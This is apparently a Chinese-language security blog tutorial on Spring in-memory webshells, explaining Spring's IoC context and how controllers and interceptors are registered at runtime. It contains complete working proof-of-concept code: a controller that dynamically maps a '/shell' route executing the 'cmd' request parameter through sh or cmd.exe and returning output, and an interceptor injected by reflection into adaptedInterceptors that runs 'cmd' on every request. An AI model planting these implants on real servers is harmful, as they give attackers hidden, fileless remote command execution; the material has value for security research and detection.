前言 在之前我们学习了一下Tomcat的四种内存马Listener、Filter、Servlet、Value
,在我学开发学到SpringBoot后我就在想,是时候把Spring的内存马的坑给他填上了
Spring概述 emmmm,其实我是不想说的,大家自行去了解学习一下spring之后就有个深刻的概念了 简而言之就是IOC和AOP,控制反转和切向编程
参考:
Controller型内存马 基本介绍 Bean Bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。
bean 是对象
bean 被 IoC 容器管理
Spring 应用主要是由一个个的 bean 构成的
IOC容器 如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。 IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。
ApplicationContext Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者 Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。 因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
Root Context和Child Context 我们来看看web.xml配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ... <servlet > <servlet-name > spring</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > <init-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/springmvc.xml</param-value > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > spring</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > ...
这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation 参数值配置为/WEB-INF/springmvc.xml。 依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 `/WEB-INF/-servlet.xml,作为配置文件。因为上面的 是 dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件。 每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器。 如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext。
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中
ContextLoaderListener ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean。
实现思路
获取上下文环境contenxt
动态注册controller
设置映射
获取上下文的四种方法 第一种:getCurrentWebApplicationContext()
1 2 WebApplicationContext WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种:WebApplicationContextUtils
1 2 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种:RequestContextUtils
1 2 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种:getAttribute
1 2 WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ; Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。 因此也就有分开的2条思路来注册controller
registerMapping 在spring4后可以直接用registermapping来直接注册controller:
1 2 3 4 5 6 7 8 9 10 11 RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);Method method = (Class.forName("me.landgrey.SSOLogin" ).getDeclaredMethods())[0 ];PatternsRequestCondition url = new PatternsRequestCondition ("/hahaha" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null );r.registerMapping(info, Class.forName("恶意Controller" ).newInstance(), method);
这个是RequestMappingHandlerMapping
映射器使用的方法
registerHandler 针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping 在其中的registerHandler()
方法中注册了controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 protected void registerHandler (String urlPath, Object handler) throws BeansException, IllegalStateException { Assert.notNull(urlPath, "URL path must not be null" ); Assert.notNull(handler, "Handler object must not be null" ); Object resolvedHandler = handler; if (!this .lazyInitHandlers && handler instanceof String) { String handlerName = (String) handler; ApplicationContext applicationContext = obtainApplicationContext(); if (applicationContext.isSingleton(handlerName)) { resolvedHandler = applicationContext.getBean(handlerName); } } Object mappedHandler = this .handlerMap.get(urlPath); if (mappedHandler != null ) { if (mappedHandler != resolvedHandler) { throw new IllegalStateException ( "Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + getHandlerDescription(mappedHandler) + " mapped." ); } } else { if (urlPath.equals("/" )) { if (logger.isTraceEnabled()) { logger.trace("Root mapping to " + getHandlerDescription(handler)); } setRootHandler(resolvedHandler); } else if (urlPath.equals("/*" )) { if (logger.isTraceEnabled()) { logger.trace("Default mapping to " + getHandlerDescription(handler)); } setDefaultHandler(resolvedHandler); } else { this .handlerMap.put(urlPath, resolvedHandler); if (getPatternParser() != null ) { this .pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler); } if (logger.isTraceEnabled()) { logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler)); } } } }
接收一个urlpath和一个handler,这两者分别就是路由和controller
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("me.landgrey.SSOLogin" ).newInstance()); org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler" , String.class, Object.class); m1.setAccessible(true ); m1.invoke(dh, "/favicon" , "dynamicController" );
detectHandlerMethods 针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping 在其detectHandlerMethods() 方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected void detectHandlerMethods (Object handler) { Class<?> handlerType = handler instanceof String ? this .getApplicationContext().getType((String)handler) : handler.getClass(); final Class<?> userType = ClassUtils.getUserClass(handlerType); Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter () { public boolean matches (Method method) { return AbstractHandlerMethodMapping.this .getMappingForMethod(method, userType) != null ; } }); Iterator var6 = methods.iterator(); while (var6.hasNext()) { Method method = (Method)var6.next(); T mapping = this .getMappingForMethod(method, userType); this .registerHandlerMethod(handler, method, mapping); } }
只需传入一个handler即可直接注入了QWQ
1 2 3 4 5 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("恶意Controller" ).newInstance()); org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods" , Object.class); m1.setAccessible(true ); m1.invoke(requestMappingHandlerMapping, "dynamicController" );
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.boogipop.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Method;import java.util.Scanner;@Controller public class EvilController { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { System.out.println("i am in" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new Controller_Shell (), method); } public class Controller_Shell { public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } } }
踩坑警告 我们的springmvc-servelet.xml文件中一定要手动开启注解驱动<mvc:annotation-driven/>
: 假如不加上的话,我们controller内存马注入时的第二步获取RequestMappingHandlerMapping会获取不了这个bean 另外这个payload是有版本限制的,有关版本的绕过请使用另外2个payload,我们上述介绍了3种方式,我们只需使用第三种即可拉
Interceptor型内存马 环境搭建 这里还是用SpringBoot进行环境搭建(懒ORZ) 首先准备一个自定义的Interceptor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.example.springshell.interceptor;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;public class testfilter implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("prehandle" ); return true ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle" ); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle" ); } }
再创建一个config类,注册我们的拦截器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.springshell.config;import com.example.springshell.interceptor.testfilter;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.InterceptorRegistration;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Configuration public class WebAppConfigurer implements WebMvcConfigurer { @Override public void addInterceptors (InterceptorRegistry registry) { InterceptorRegistration interceptorRegistration=registry.addInterceptor(new testfilter ()); interceptorRegistration.addPathPatterns("/**" ); interceptorRegistration.excludePathPatterns("/" ,"/error" ,"/static/**" ); } }
最后准备一个正常的controller进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.example.springshell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class NorMalController { @RequestMapping("/normal") @ResponseBody public String hello () { System.out.println("hello" ); return "SpringBoot" ; } }
OK,测试正常之后就可以进一步调试分析了,并且这里提一嘴,各个组件的触发顺序是Listen->Filter->Interceptor->controller
调试进程分析 调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 doDispatch:1041, DispatcherServlet (org.springframework.web.servlet) doService:973, DispatcherServlet (org.springframework.web.servlet) processRequest:1011, FrameworkServlet (org.springframework.web.servlet) doGet:903, FrameworkServlet (org.springframework.web.servlet) service:705, HttpServlet (jakarta.servlet.http) service:885, FrameworkServlet (org.springframework.web.servlet) service:814, HttpServlet (jakarta.servlet.http) internalDoFilter:223, ApplicationFilterChain (org.apache.catalina.core) doFilter:158, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:185, ApplicationFilterChain (org.apache.catalina.core) doFilter:158, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100, RequestContextFilter (org.springframework.web.filter) doFilter:116, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:185, ApplicationFilterChain (org.apache.catalina.core) doFilter:158, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93, FormContentFilter (org.springframework.web.filter) doFilter:116, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:185, ApplicationFilterChain (org.apache.catalina.core) doFilter:158, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:116, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:185, ApplicationFilterChain (org.apache.catalina.core) doFilter:158, ApplicationFilterChain (org.apache.catalina.core) invoke:177, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:542, AuthenticatorBase (org.apache.catalina.authenticator) invoke:119, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, CoyoteAdapter (org.apache.catalina.connector) service:400, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:859, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1734, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:833, Thread (java.lang)
在调用internalDoFilter之前都是和tomcat启动时是一样的,之后SpringBoot进入了doDispatch
方法,这个在SpringMVC中提到过了,因为有一个中央控制器控制着所有其他控制器
进入doDispatch后随之又进入了getHandler
方法: 跟进DispacherServlet#getHandler方法,之后又进入另外一个getHandler: 跟进AbstractHandlerMapping#getHandler,之后进入了getHandlerExecutionChain方法中: 最终在该方法中添加了我们的interceptor:
内存马构造 那么到这里就可以确定思路了
获取上下文context
创建恶意Interceptor
修改adaptedInterceptors属性来注册Interceptor
获取上下文contenxt 这里用一种上面没用到的方法:
1 2 3 4 5 6 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
LiveBeansView
这个类是在spring3.2之后才添加进来的,因此在低版本这种方法是行不通的
反射获取adaptedInterceptors属性 这个属性是AbstractHandlerMapping类中的,因此想要获取它,首先需要获取AbstractHandlerMapping 我们可以通过上下文先获取RequestMappingHandlerMapping
,再强制类型转换即可,RequestMappingHandlerMapping类的父类就是AbstractHandlerMapping,这个可以自己一层层点进去,会发现AbstractHandlerMapping几乎是所有Handler的父类,它直接实现了HandlerMapping接口
1 2 3 4 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
注册恶意Interceptor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.example.springshell.interceptor;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;public class testfilter implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { Runtime.getRuntime().exec(request.getParameter("cmd" )); return true ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle" ); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle" ); } }
1 2 3 Shell_Interceptor shell_interceptor = new Shell_Interceptor ();adaptedInterceptors.add(shell_interceptor);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.example.springshell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import com.example.springshell.interceptor.testfilter;import java.lang.reflect.Field;@Controller public class InterceptorShell { @RequestMapping("/addinterceptor") public void shell () throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); testfilter testfilter = new testfilter (); adaptedInterceptors.add(testfilter); } }
这里完整POC中,由于我测试环境使用的是SpringBoot3.02,对应spring6版本,LiveBeanName类貌似不在了,因此无法通过一开始的方法获取,测试发现只能在spring5-spring3存在 访问/addinterceptor
路由后再运行calc,成功弹出
结语 Spring内存马到这里基本就结束了,但是内存马还有一些东西没结束,继续